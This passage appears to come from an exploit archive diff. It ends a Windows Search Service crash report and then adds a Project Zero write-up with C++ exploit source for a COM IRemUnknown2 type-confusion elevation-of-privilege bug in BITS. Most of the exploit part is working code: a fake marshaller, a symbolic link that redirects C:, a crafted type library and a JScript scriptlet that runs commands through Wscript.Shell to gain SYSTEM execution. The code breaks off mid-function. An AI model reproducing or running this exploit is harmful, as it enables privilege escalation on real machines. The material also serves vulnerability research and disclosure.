+I’ve provided a PoC as a C# project. You need to compile it first. It fakes out the Windows Search Service’s type library to modify the IGatherManagerAdmin2::GetBackoffReason method so that instead of marshaling a pointer to an integer for returning the caller can specify an arbitrary pointer value. When the method on the server side completes it will try and write a value to this address which will cause a Write AV. The Windows Search service would be ideal for abuse but many of the functions seem to require Administrator access to call. That’s not to say you couldn’t convert this into a full working exploit but I didn’t.
+
+1) Compile the C# project. It should be compiled as a 64 bit executable.
+2) Restart the Windows Search service just to ensure it hasn’t cached the stub previously. This probably isn’t necessary but just to be certain.
+3) Attach a debugger to SearchIndexer.exe to catch the crash.
+4) Execute the PoC as a normal user (do not run under the VSHOST as the CoInitializeSecurity call will fail). You need to pass the path to the provided mssitlb.tlb file which has been modified appropriately.
+5) The service should crash trying to write a value to address 0x12345678
+
+Crash Dump:
+
+0:234> r
+rax=0000015ee04665a0 rbx=0000015ee0466658 rcx=0000015ee0466658
+rdx=0000000000000000 rsi=0000000000000004 rdi=0000000000000000
+rip=00007fff80e3a75d rsp=00000036541fdae0 rbp=00000036541fdb20
+ r8=00000036541fd868  r9=0000015ee3bb50b0 r10=0000000000000000
+r11=0000000000000246 r12=0000015ee3c02988 r13=00000036541fe1c0
+r14=0000000012345678 r15=0000000000000000
+iopl=0         nv up ei pl zr na po nc
+cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
+MSSRCH!CGatheringManager::GetBackoffReason+0x8d:
+00007fff`80e3a75d 418936          mov     dword ptr [r14],esi ds:00000000`12345678=????????
+0:234> k
+ # Child-SP          RetAddr           Call Site
+00 00000036`541fdae0 00007fff`b416d533 MSSRCH!CGatheringManager::GetBackoffReason+0x8d
+01 00000036`541fdb10 00007fff`b413b0d0 RPCRT4!Invoke+0x73
+02 00000036`541fdb60 00007fff`b2fa479a RPCRT4!NdrStubCall2+0x430
+03 00000036`541fe180 00007fff`b3853c93 combase!CStdStubBuffer_Invoke+0x9a [d:\th\com\combase\ndr\ndrole\stub.cxx @ 1446]
+04 00000036`541fe1c0 00007fff`b305ccf2 OLEAUT32!CUnivStubWrapper::Invoke+0x53
+05 (Inline Function) --------`-------- combase!InvokeStubWithExceptionPolicyAndTracing::__l7::<lambda_b8ffcec6d47a5635f374132234a8dd15>::operator()+0x42 [d:\th\com\combase\dcomrem\channelb.cxx @ 1805]
+06 00000036`541fe210 00007fff`b3001885 combase!ObjectMethodExceptionHandlingAction<<lambda_b8ffcec6d47a5635f374132234a8dd15> >+0x72 [d:\th\com\combase\dcomrem\excepn.hxx @ 91]
+07 (Inline Function) --------`-------- combase!InvokeStubWithExceptionPolicyAndTracing+0x9e [d:\th\com\combase\dcomrem\channelb.cxx @ 1808]
+08 00000036`541fe280 00007fff`b3006194 combase!DefaultStubInvoke+0x275 [d:\th\com\combase\dcomrem\channelb.cxx @ 1880]
+09 (Inline Function) --------`-------- combase!SyncStubCall::Invoke+0x1b [d:\th\com\combase\dcomrem\channelb.cxx @ 1934]
+0a (Inline Function) --------`-------- combase!SyncServerCall::StubInvoke+0x1b [d:\th\com\combase\dcomrem\servercall.hpp @ 736]
+0b (Inline Function) --------`-------- combase!StubInvoke+0x297 [d:\th\com\combase\dcomrem\channelb.cxx @ 2154]
+0c 00000036`541fe4a0 00007fff`b3008b47 combase!ServerCall::ContextInvoke+0x464 [d:\th\com\combase\dcomrem\ctxchnl.cxx @ 1568]
+0d (Inline Function) --------`-------- combase!CServerChannel::ContextInvoke+0x83 [d:\th\com\combase\dcomrem\ctxchnl.cxx @ 1458]
+0e (Inline Function) --------`-------- combase!DefaultInvokeInApartment+0x9e [d:\th\com\combase\dcomrem\callctrl.cxx @ 3438]
+0f 00000036`541fe770 00007fff`b3007ccd combase!AppInvoke+0x8a7 [d:\th\com\combase\dcomrem\channelb.cxx @ 1618]
+10 00000036`541fe8a0 00007fff`b300b654 combase!ComInvokeWithLockAndIPID+0xb2d [d:\th\com\combase\dcomrem\channelb.cxx @ 2686]
+11 00000036`541feb30 00007fff`b40fd433 combase!ThreadInvoke+0x1724 [d:\th\com\combase\dcomrem\channelb.cxx @ 6954]
+12 00000036`541fedc0 00007fff`b40fbed8 RPCRT4!DispatchToStubInCNoAvrf+0x33
+13 00000036`541fee10 00007fff`b40fcf04 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x288
+14 00000036`541fef10 00007fff`b40f922d RPCRT4!RPC_INTERFACE::DispatchToStubWithObject+0x404
+15 00000036`541fefb0 00007fff`b40f9da9 RPCRT4!LRPC_SCALL::DispatchRequest+0x35d
+16 00000036`541ff090 00007fff`b40f64dc RPCRT4!LRPC_SCALL::HandleRequest+0x829
+17 00000036`541ff180 00007fff`b40f48c9 RPCRT4!LRPC_SASSOCIATION::HandleRequest+0x45c
+18 00000036`541ff200 00007fff`b411eaca RPCRT4!LRPC_ADDRESS::ProcessIO+0xb29
+19 00000036`541ff350 00007fff`b422e490 RPCRT4!LrpcIoComplete+0x10a
+1a 00000036`541ff3f0 00007fff`b422bc66 ntdll!TppAlpcpExecuteCallback+0x360
+1b 00000036`541ff4a0 00007fff`b34b8102 ntdll!TppWorkerThread+0x916
+1c 00000036`541ff8b0 00007fff`b425c5b4 KERNEL32!BaseThreadInitThunk+0x22
+1d 00000036`541ff8e0 00000000`00000000 ntdll!RtlUserThreadStart+0x34
+
+Expected Result:
+Not doing what ever it did.
+
+Observed Result:
+It did it!
+
+
+Proof of Concept:
+https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42021.zip
--- a/platforms/windows/local/42020.cpp
+++ b/platforms/windows/local/42020.cpp
@ -0,0 +1,764 @@
+/*
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1107
+
+Windows: COM Aggregate Marshaler/IRemUnknown2 Type Confusion EoP
+Platform: Windows 10 10586/14393 not tested 8.1 Update 2
+Class: Elevation of Privilege
+
+Summary:
+When accessing an OOP COM object using IRemUnknown2 the local unmarshaled proxy can be for a different interface to that requested by QueryInterface resulting in a type confusion which can result in EoP.
+
+Description:
+
+Querying for an IID on a OOP (or remote) COM object calls the ORPC method RemQueryInterface or RemQueryInterface2 on the default proxy. This request is passed to the remote object which queries the implementation object and if successful returns a marshaled representation of that interface to the caller. 
+
+The difference between RemQueryInterface and RemQueryInterface2 (RQI2) is how the objects are passed back to the caller. For RemQueryInterface the interface is passed back as a STDOBJREF which only contains the basic OXID/OID/IPID information to connect back. RemQueryInterface2 on the other hand passes back MInterfacePointer structures which is an entire OBJREF. The rationale, as far as I can tell, is that RQI2 is used for implementing in-process handlers, some interfaces can be marshaled using the standard marshaler and others can be custom marshaled. This is exposed through the Aggregate Standard Marshaler. 
+
+The bug lies in the implementation of unpacking the results of the the RQI2 request in CStdMarshal::Finish_RemQIAndUnmarshal2. For each MInterfacePointer CStdMarshal::UnmarshalInterface is called passing the IID of the expected interface and the binary data wrapped in an IStream. CStdMarshal::UnmarshalInterface blindly unmarshals the interface, which creates a local proxy object but the proxy is created for the IID in the OBJREF stream and NOT the IID requested in RQI2. No further verification occurs at this point and the created proxy is passed back up the call stack until the received by the caller (through a void** obviously). 
+
+If the IID in the OBJREF doesn’t match the IID requested the caller doesn’t know, if it calls any methods on the expected interface it will be calling a type confused object. This could result in crashes in the caller when it tries to access methods on the expected interface which aren’t there or are implemented differently. You could probably also return a standard OBJREF to a object local to the caller, this will result in returning the local object itself which might have more scope for exploiting the type confusion. In order to get the caller to use RQI2 we just need to pass it back an object which is custom marshaled with the Aggregate Standard Marshaler. This will set a flag on the marshaler which indicates to always use the aggregate marshaler which results in using RQI2 instead of RQI. As this class is a core component of COM it’s trusted and so isn’t affected by the EOAC_NO_CUSTOM_MARSHAL setting.
+
+In order to exploit this a different caller needs to call QueryInterface on an object under a less trusted user's control. This could be a more privileged user (such as a sandbox broker), or a privileged service. This is pretty easy pattern to find, any method in an exposed interface on a more trusted COM object which takes an interface pointer or variant would potentially be vulnerable. For example IPersistStream takes an IStream interface pointer and will call methods on it. Another type of method is one of the various notification interfaces such as IBackgroundCopyCallback for BITS. This can probably also be used remotely if the attacker has the opportunity to inject an OBJREF stream into a connection which is set to CONNECT level security (which seems to be the default activation security). 
+
+On to exploitation, as you well know I’ve little interest in exploiting memory corruptions, especially as this would  either this will trigger CFG on modern systems or would require a very precise lineup of expected method and actual called method which could be tricky to exploit reliably. However I think at least using this to escape a sandbox it might be your only option. So I’m not going to do that, instead I’m going to exploit it logically, the only problem is this is probably unexploitable from a sandbox (maybe) and requires a very specific type of callback into our object. 
+
+The thing I’m going to exploit is in the handling of OLE Automation auto-proxy creation from type libraries. When you implement an Automation compatible object you could implement an explicit proxy but if you’ve already got a Type library built from your IDL then OLEAUT32 provides an alternative. If you register your interface with a Proxy CLSID for PSOAInterface or PSDispatch then instead of loading your PS DLL it will load OLEAUT32. The proxy loader code will lookup the interface entry for the passed IID to see if there’s a registered type library associated with it. If there is the code will call LoadTypeLib on that library and look up the interface entry in the type library. It will then construct a custom proxy object based on the type library information. 
+
+The trick here is while in general we don’t control the location of the type library (so it’s probably in a location we can write to such as system32) if we can get an object unmarshaled which indicates it’s IID is one of these auto-proxy interfaces while the privileged service is impersonating us we can redirect the C: drive to anywhere we like and so get the service to load an arbitrary type library file instead of a the system one. One easy place where this exact scenario occurs is in the aforementioned BITS SetNotifyInterface function. The service first impersonates the caller before calling QI on the notify interface. We can then return an OBJREF for a automation IID even though the service asked for a BITS callback interface.
+
+So what? Well it’s been known for almost 10 years that the Type library file format is completely unsafe. It was reported and it wasn’t changed, Tombkeeper highlighted this in his “Sexrets [sic] of LoadLibrary” presentation at CSW 2015. You can craft a TLB which will directly control EIP. Now you’d assume therefore I’m trading a unreliable way of getting EIP control for one which is much easier, if you assume that you’d be wrong. Instead I’m going to abuse the fact that TLBs can have referenced type libraries, which is used instead of embedding the type definitions inside the TLB itself. When a reference type is loaded the loader will try and look up the TLB by its GUID, if that fails it will take the filename string and pass it verbatim to LoadTypeLib. It’s a lesser know fact that this function, if it fails to find a file with the correct name will try and parse the name as a moniker. Therefore we can insert a scriptlet moniker into the type library, when the auto-proxy generator tries to find how many functions the interface implements it walks the inheritance chain, which causes the referenced TLB to be loaded, which causes a scriptlet moniker to be loaded and bound which results in arbitrary execution in a scripting language inside the privileged COM caller. 
+
+The need to replace the C: drive is why this won’t work as a sandbox escape. Also it's a more general technique, not specific to this vulnerability as such, you could exploit it in the low-level NDR marshaler layer, however it’s rare to find something impersonating the caller during the low-level unmarshal. Type libraries are not loaded using the flag added after CVE-2015-1644 which prevent DLLs being loaded from the impersonate device map. I think you might want to fix this as well as there’s other places and scenarios this can occur, for example there’s a number of WMI services (such as anything which touches GPOs) which result in the ActiveDS com object being created, this is automation compatible and so will load a type library while impersonating the caller. Perhaps the auto-proxy generated should temporarily disable impersonation when loading the type library to prevent this happening. 
+
+Proof of Concept:
+
+I’ve provided a PoC as a C++ source code file. You need to compile it first. It abuses the BITS SetNotifyInterface to get a type library loaded under impersonation. We cause it to load a type library which references a scriptlet moniker which gets us code execution inside the BITS service.
+
+1) Compile the C++ source code file.
+2) Execute the PoC from a directory writable by the current user. 
+3) An admin command running as local system should appear on the current desktop.
+
+Expected Result:
+The caller should realize there’s an IID mismatch and refuse to unmarshal, or at least QI the local proxy for the correct interface.
+
+Observed Result:
+The wrong proxy is created to that requested resulting in type confusion and an automation proxy being created resulting in code execution in the BITS server.
+*/
+
+// BITSTest.cpp : Defines the entry point for the console application.
+//
+#include <bits.h>
+#include <bits4_0.h>
+#include <stdio.h>
+#include <tchar.h>
+#include <lm.h>
+#include <string>
+#include <comdef.h>
+#include <winternl.h>
+#include <Shlwapi.h>
+#include <strsafe.h>
+#include <vector>
+
+#pragma comment(lib, "shlwapi.lib")
+
+static bstr_t IIDToBSTR(REFIID riid)
+{
+	LPOLESTR str;
+	bstr_t ret = "Unknown";
+	if (SUCCEEDED(StringFromIID(riid, &str)))
+	{
+		ret = str;
+		CoTaskMemFree(str);
+	}
+	return ret;
+}
+
+GUID CLSID_AggStdMarshal2 = { 0x00000027,0x0000,0x0008,{ 0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 } };
+GUID IID_ITMediaControl = { 0xc445dde8,0x5199,0x4bc7,{ 0x98,0x07,0x5f,0xfb,0x92,0xe4,0x2e,0x09 } };
+
+class CMarshaller : public IMarshal
+{
+	LONG _ref_count;
+	IUnknownPtr _unk;
+
+	~CMarshaller() {}
+
+public:
+
+	CMarshaller(IUnknown* unk) : _ref_count(1)
+	{
+		_unk = unk;
+	}
+
+	virtual HRESULT STDMETHODCALLTYPE QueryInterface(
+		/* [in] */ REFIID riid,
+		/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)
+	{
+		*ppvObject = nullptr;
+		printf("QI - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
+
+		if (riid == IID_IUnknown)
+		{
+			*ppvObject = this;
+		}
+		else if (riid == IID_IMarshal)
+		{
+			*ppvObject = static_cast<IMarshal*>(this);
+		}
+		else
+		{
+			return E_NOINTERFACE;
+		}
+		printf("Queried Success: %p\n", *ppvObject);
+		((IUnknown*)*ppvObject)->AddRef();
+		return S_OK;
+	}
+
+	virtual ULONG STDMETHODCALLTYPE AddRef(void)
+	{
+		printf("AddRef: %d\n", _ref_count);
+		return InterlockedIncrement(&_ref_count);
+	}
+
+	virtual ULONG STDMETHODCALLTYPE Release(void)
+	{
+		printf("Release: %d\n", _ref_count);
+		ULONG ret = InterlockedDecrement(&_ref_count);
+		if (ret == 0)
+		{
+			printf("Release object %p\n", this);
+			delete this;
+		}
+		return ret;
+	}
+
+	virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
+		/* [annotation][in] */
+		_In_  REFIID riid,
+		/* [annotation][unique][in] */
+		_In_opt_  void *pv,
+		/* [annotation][in] */
+		_In_  DWORD dwDestContext,
+		/* [annotation][unique][in] */
+		_Reserved_  void *pvDestContext,
+		/* [annotation][in] */
+		_In_  DWORD mshlflags,
+		/* [annotation][out] */
+		_Out_  CLSID *pCid)
+	{
+		*pCid = CLSID_AggStdMarshal2;
+		return S_OK;
+	}
+
+	virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
+		/* [annotation][in] */
+		_In_  REFIID riid,
+		/* [annotation][unique][in] */
+		_In_opt_  void *pv,
+		/* [annotation][in] */
+		_In_  DWORD dwDestContext,
+		/* [annotation][unique][in] */
+		_Reserved_  void *pvDestContext,
+		/* [annotation][in] */
+		_In_  DWORD mshlflags,
+		/* [annotation][out] */
+		_Out_  DWORD *pSize)
+	{
+		*pSize = 1024;
+		return S_OK;
+	}
+
+	virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
+		/* [annotation][unique][in] */
+		_In_  IStream *pStm,
+		/* [annotation][in] */
+		_In_  REFIID riid,
+		/* [annotation][unique][in] */
+		_In_opt_  void *pv,
+		/* [annotation][in] */
+		_In_  DWORD dwDestContext,
+		/* [annotation][unique][in] */
+		_Reserved_  void *pvDestContext,
+		/* [annotation][in] */
+		_In_  DWORD mshlflags)
+	{
+		printf("Marshal Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
+		IID iid = riid;
+		if (iid == __uuidof(IBackgroundCopyCallback2) || iid == __uuidof(IBackgroundCopyCallback))
+		{
+			printf("Setting bad IID\n");
+			iid = IID_ITMediaControl;
+		}
+		HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags);
+		printf("Marshal Complete: %08X\n", hr);
+		return hr;
+	}
+
+	virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
+		/* [annotation][unique][in] */
+		_In_  IStream *pStm,
+		/* [annotation][in] */
+		_In_  REFIID riid,
+		/* [annotation][out] */
+		_Outptr_  void **ppv)
+	{
+		return E_NOTIMPL;
+	}
+
+	virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
+		/* [annotation][unique][in] */
+		_In_  IStream *pStm)
+	{
+		return S_OK;
+	}
+
+	virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
+		/* [annotation][in] */
+		_In_  DWORD dwReserved)
+	{
+		return S_OK;
+	}
+};
+
+class FakeObject : public IBackgroundCopyCallback2, public IPersist
+{
+	LONG m_lRefCount;
+
+	~FakeObject() {};
+
+public:
+	//Constructor, Destructor
+	FakeObject() {
+		m_lRefCount = 1;
+	}
+
+	//IUnknown
+	HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
+	{
+		if (riid == __uuidof(IUnknown))
+		{
+			printf("Query for IUnknown\n");
+			*ppvObj = this;
+		}
+		else if (riid == __uuidof(IBackgroundCopyCallback2))
+		{
+			printf("Query for IBackgroundCopyCallback2\n");
+			*ppvObj = static_cast<IBackgroundCopyCallback2*>(this);
+		}
+		else if (riid == __uuidof(IBackgroundCopyCallback))
+		{
+			printf("Query for IBackgroundCopyCallback\n");
+			*ppvObj = static_cast<IBackgroundCopyCallback*>(this);
+		}
+		else if (riid == __uuidof(IPersist))
+		{
+			printf("Query for IPersist\n");
+			*ppvObj = static_cast<IPersist*>(this);
+		}
+		else if (riid == IID_ITMediaControl)
+		{
+			printf("Query for ITMediaControl\n");
+			*ppvObj = static_cast<IPersist*>(this);
+		}
+		else
+		{
+			printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
+			*ppvObj = NULL;
+			return E_NOINTERFACE;
+		}
+
+		((IUnknown*)*ppvObj)->AddRef();
+		return NOERROR;
+	}
+
+	ULONG __stdcall AddRef()
+	{
+		return InterlockedIncrement(&m_lRefCount);
+	}
+
+	ULONG __stdcall Release()
+	{
+		ULONG  ulCount = InterlockedDecrement(&m_lRefCount);
+
+		if (0 == ulCount)
+		{
+			delete this;
+		}
+
+		return ulCount;
+	}
+
+	virtual HRESULT STDMETHODCALLTYPE JobTransferred(
+		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob)
+	{
+		printf("JobTransferred\n");
+		return S_OK;
+	}
+
+	virtual HRESULT STDMETHODCALLTYPE JobError(
+		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
+		/* [in] */ __RPC__in_opt IBackgroundCopyError *pError)
+	{
+		printf("JobError\n");
+		return S_OK;
+	}
+
+
+	virtual HRESULT STDMETHODCALLTYPE JobModification(
+		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
+		/* [in] */ DWORD dwReserved)
+	{
+		printf("JobModification\n");
+		return S_OK;
+	}
+
+
+	virtual HRESULT STDMETHODCALLTYPE FileTransferred(
+		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
+		/* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile)
+	{
+		printf("FileTransferred\n");
+		return S_OK;
+	}
+
+	virtual HRESULT STDMETHODCALLTYPE GetClassID(
+		/* [out] */ __RPC__out CLSID *pClassID)
+	{
+		*pClassID = GUID_NULL;
+		return S_OK;
+	}
+};
+
+_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
+_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));
+
+static HRESULT Check(HRESULT hr)
+{
+	if (FAILED(hr))
+	{
+		throw _com_error(hr);
+	}
+	return hr;
+}
+
+#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)
+
+typedef NTSTATUS(NTAPI* fNtCreateSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName);
+typedef VOID(NTAPI *fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
+
+FARPROC GetProcAddressNT(LPCSTR lpName)
+{
+	return GetProcAddress(GetModuleHandleW(L"ntdll"), lpName);
+}
+
+
+class ScopedHandle
+{
+	HANDLE _h;
+public:
+	ScopedHandle() : _h(nullptr)
+	{
+	}
+
+	ScopedHandle(ScopedHandle&) = delete;
+
+	ScopedHandle(ScopedHandle&& h) {
+		_h = h._h;
+		h._h = nullptr;
+	}
+
+	~ScopedHandle()
+	{
+		if (!invalid())
+		{
+			CloseHandle(_h);
+			_h = nullptr;
+		}
+	}
+
+	bool invalid() {
+		return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE);
+	}
+
+	void set(HANDLE h)
+	{
+		_h = h;
+	}
+
+	HANDLE get()
+	{
+		return _h;
+	}
+
+	HANDLE* ptr()
+	{
+		return &_h;
+	}
+
+
+};
+
+ScopedHandle CreateSymlink(LPCWSTR linkname, LPCWSTR targetname)
+{
+	fRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT("RtlInitUnicodeString");
+	fNtCreateSymbolicLinkObject pfNtCreateSymbolicLinkObject = (fNtCreateSymbolicLinkObject)GetProcAddressNT("NtCreateSymbolicLinkObject");
+
+	OBJECT_ATTRIBUTES objAttr;
+	UNICODE_STRING name;
+	UNICODE_STRING target;
+
+	pfRtlInitUnicodeString(&name, linkname);
+	pfRtlInitUnicodeString(&target, targetname);
+
+	InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
+
+	ScopedHandle hLink;
+
+	NTSTATUS status = pfNtCreateSymbolicLinkObject(hLink.ptr(), SYMBOLIC_LINK_ALL_ACCESS, &objAttr, &target);
+	if (status == 0)
+	{
+		printf("Opened Link %ls -> %ls: %p\n", linkname, targetname, hLink.get());
+		return hLink;
+	}
+	else
+	{
+		printf("Error creating link %ls: %08X\n", linkname, status);
+		return ScopedHandle();
+	}
+}
+
+
+bstr_t GetSystemDrive()
+{
+	WCHAR windows_dir[MAX_PATH] = { 0 };
+
+	GetWindowsDirectory(windows_dir, MAX_PATH);
+
+	windows_dir[2] = 0;
+
+	return windows_dir;
+}
+
+bstr_t GetDeviceFromPath(LPCWSTR lpPath)
+{
+	WCHAR drive[3] = { 0 };
+	drive[0] = lpPath[0];
+	drive[1] = lpPath[1];
+	drive[2] = 0;
+
+	WCHAR device_name[MAX_PATH] = { 0 };
+
+	if (QueryDosDevice(drive, device_name, MAX_PATH))
+	{
+		return device_name;
+	}
+	else
+	{
+		printf("Error getting device for %ls\n", lpPath);
+		exit(1);
+	}
+}
+
+bstr_t GetSystemDevice()
+{
+	return GetDeviceFromPath(GetSystemDrive());
+}
+
+bstr_t GetExe()
+{
+	WCHAR curr_path[MAX_PATH] = { 0 };
+	GetModuleFileName(nullptr, curr_path, MAX_PATH);
+	return curr_path;
+}
+
+bstr_t GetExeDir()
+{
+	WCHAR curr_path[MAX_PATH] = { 0 };
+	GetModuleFileName(nullptr, curr_path, MAX_PATH);
+	PathRemoveFileSpec(curr_path);
+
+	return curr_path;
+}
+
+bstr_t GetCurrentPath()
+{
+	bstr_t curr_path = GetExeDir();
+
+	bstr_t ret = GetDeviceFromPath(curr_path);
+
+	ret += &curr_path.GetBSTR()[2];
+
+	return ret;
+}
+
+void TestBits()
+{
+	IBackgroundCopyManagerPtr pQueueMgr;
+
+	Check(CoCreateInstance(__uuidof(BackgroundCopyManager), NULL,
+		CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr)));
+
+	IUnknownPtr pOuter = new CMarshaller(static_cast<IPersist*>(new FakeObject()));
+	IUnknownPtr pInner;
+
+	Check(CoGetStdMarshalEx(pOuter, SMEXF_SERVER, &pInner));
+
+	IBackgroundCopyJobPtr pJob;
+	GUID guidJob;
+	Check(pQueueMgr->CreateJob(L"BitsAuthSample",
+		BG_JOB_TYPE_DOWNLOAD,
+		&guidJob,
+		&pJob));
+	
+	IUnknownPtr pNotify;
+	pNotify.Attach(new CMarshaller(pInner));
+	{
+		ScopedHandle link = CreateSymlink(L"\\??\\C:", GetCurrentPath());
+		printf("Result: %08X\n", pJob->SetNotifyInterface(pNotify));
+	}
+	if (pJob)
+	{
+		pJob->Cancel();
+	}
+	printf("Done\n");
+}
+
+class CoInit
+{
+public:
+	CoInit()
+	{
+		Check(CoInitialize(nullptr));
+		Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr,
+			RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_NO_CUSTOM_MARSHAL | EOAC_DYNAMIC_CLOAKING, nullptr));
+	}
+
+	~CoInit()
+	{
+		CoUninitialize();
+	}
+};
+
+// {D487789C-32A3-4E22-B46A-C4C4C1C2D3E0}
+static const GUID IID_BaseInterface =
+{ 0xd487789c, 0x32a3, 0x4e22,{ 0xb4, 0x6a, 0xc4, 0xc4, 0xc1, 0xc2, 0xd3, 0xe0 } };
+
+// {6C6C9F33-AE88-4EC2-BE2D-449A0FFF8C02}
+static const GUID TypeLib_BaseInterface =
+{ 0x6c6c9f33, 0xae88, 0x4ec2,{ 0xbe, 0x2d, 0x44, 0x9a, 0xf, 0xff, 0x8c, 0x2 } };
+
+GUID TypeLib_Tapi3 = { 0x21d6d480,0xa88b,0x11d0,{ 0x83,0xdd,0x00,0xaa,0x00,0x3c,0xca,0xbd } };
+
+void Create(bstr_t filename, bstr_t if_name, REFGUID typelib_guid, REFGUID iid, ITypeLib* ref_typelib, REFGUID ref_iid)
+{
+	DeleteFile(filename);
+	ICreateTypeLib2Ptr tlb;
+	Check(CreateTypeLib2(SYS_WIN32, filename, &tlb));
+	tlb->SetGuid(typelib_guid);
+
+	ITypeInfoPtr ref_type_info;
+	Check(ref_typelib->GetTypeInfoOfGuid(ref_iid, &ref_type_info));
+
+	ICreateTypeInfoPtr create_info;
+	Check(tlb->CreateTypeInfo(if_name, TKIND_INTERFACE, &create_info));
+	Check(create_info->SetTypeFlags(TYPEFLAG_FDUAL | TYPEFLAG_FOLEAUTOMATION));
+	HREFTYPE ref_type;
+	Check(create_info->AddRefTypeInfo(ref_type_info, &ref_type));
+	Check(create_info->AddImplType(0, ref_type));
+	Check(create_info->SetGuid(iid));
+	Check(tlb->SaveAllChanges());
+}
+
+std::vector<BYTE> ReadFile(bstr_t path)
+{
+	ScopedHandle hFile;
+	hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr));
+	if (hFile.invalid())
+	{
+		throw _com_error(E_FAIL);
+	}	
+	DWORD size = GetFileSize(hFile.get(), nullptr);
+	std::vector<BYTE> ret(size);
+	if (size > 0)
+	{
+		DWORD bytes_read;
+		if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size)
+		{
+			throw _com_error(E_FAIL);
+		}
+	}
+	
+	return ret;
+}
+
+void WriteFile(bstr_t path, const std::vector<BYTE> data)
+{
+	ScopedHandle hFile;
+	hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr));
+	if (hFile.invalid())
+	{
+		throw _com_error(E_FAIL);
+	}
+	
+	if (data.size() > 0)
+	{
+		DWORD bytes_written;
+		if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size())
+		{
+			throw _com_error(E_FAIL);
+		}
+	}
+}
+
+void WriteFile(bstr_t path, const char* data)
+{
+	const BYTE* bytes = reinterpret_cast<const BYTE*>(data);
+	std::vector<BYTE> data_buf(bytes, bytes + strlen(data));
+	WriteFile(path, data_buf);
+}
+
+void BuildTypeLibs(LPCSTR script_path)
+{
+	ITypeLibPtr stdole2;
+	Check(LoadTypeLib(L"stdole2.tlb", &stdole2));
+
+	printf("Building Library with path: %s\n", script_path);
+	unsigned int len = strlen(script_path);
+
+	bstr_t buf = GetExeDir() + L"\\";
+	for (unsigned int i = 0; i < len; ++i)
+	{
+		buf += L"A";
+	}
+
+	Create(buf, "IBadger", TypeLib_BaseInterface, IID_BaseInterface, stdole2, IID_IDispatch);
+	ITypeLibPtr abc;
+	Check(LoadTypeLib(buf, &abc));
+
+
+	bstr_t built_tlb = GetExeDir() + L"\\output.tlb";
+	Create(built_tlb, "ITMediaControl", TypeLib_Tapi3, IID_ITMediaControl, abc, IID_BaseInterface);
+
+	std::vector<BYTE> tlb_data = ReadFile(built_tlb);
+	for (size_t i = 0; i < tlb_data.size() - len; ++i)
+	{
+		bool found = true;
+		for (unsigned int j = 0; j < len; j++)
+		{
+			if (tlb_data[i + j] != 'A')
+			{
+				found = false;
+			}
+		}
+
+		if (found)
+		{
+			printf("Found TLB name at offset %zu\n", i);
+			memcpy(&tlb_data[i], script_path, len);
+			break;
+		}
+	}
+
+	CreateDirectory(GetExeDir() + L"\\Windows", nullptr);
+	CreateDirectory(GetExeDir() + L"\\Windows\\System32", nullptr);
+
+	bstr_t target_tlb = GetExeDir() + L"\\Windows\\system32\\tapi3.dll";
+	WriteFile(target_tlb, tlb_data);
+}
+
+const wchar_t x[] = L"ABC";
+
+const wchar_t scriptlet_start[] = L"<?xml version='1.0'?>\r\n<package>\r\n<component id='giffile'>\r\n"
+"<registration description='Dummy' progid='giffile' version='1.00' remotable='True'>\r\n"\
+"</registration>\r\n"\
+"<script language='JScript'>\r\n"\
+"<![CDATA[\r\n"\
+"  new ActiveXObject('Wscript.Shell').exec('";
+
+const wchar_t scriptlet_end[] = L"');\r\n"\
+"]]>\r\n"\
+"</script>\r\n"\
+"</component>\r\n"\
+"</package>\r\n";
+
+bstr_t CreateScriptletFile()
+{
+	bstr_t script_file = GetExeDir() + L"\\run.sct";
+	bstr_t script_data = scriptlet_start;
+	bstr_t exe_file = GetExe();
+	wchar_t* p = exe_file;
+	while (*p)
+	{
+		if (*p == '\\')
+		{
+			*p = '/';
+		}
+		p++;
+	}
+
+	DWORD session_id;
+	ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
+	WCHAR session_str[16];
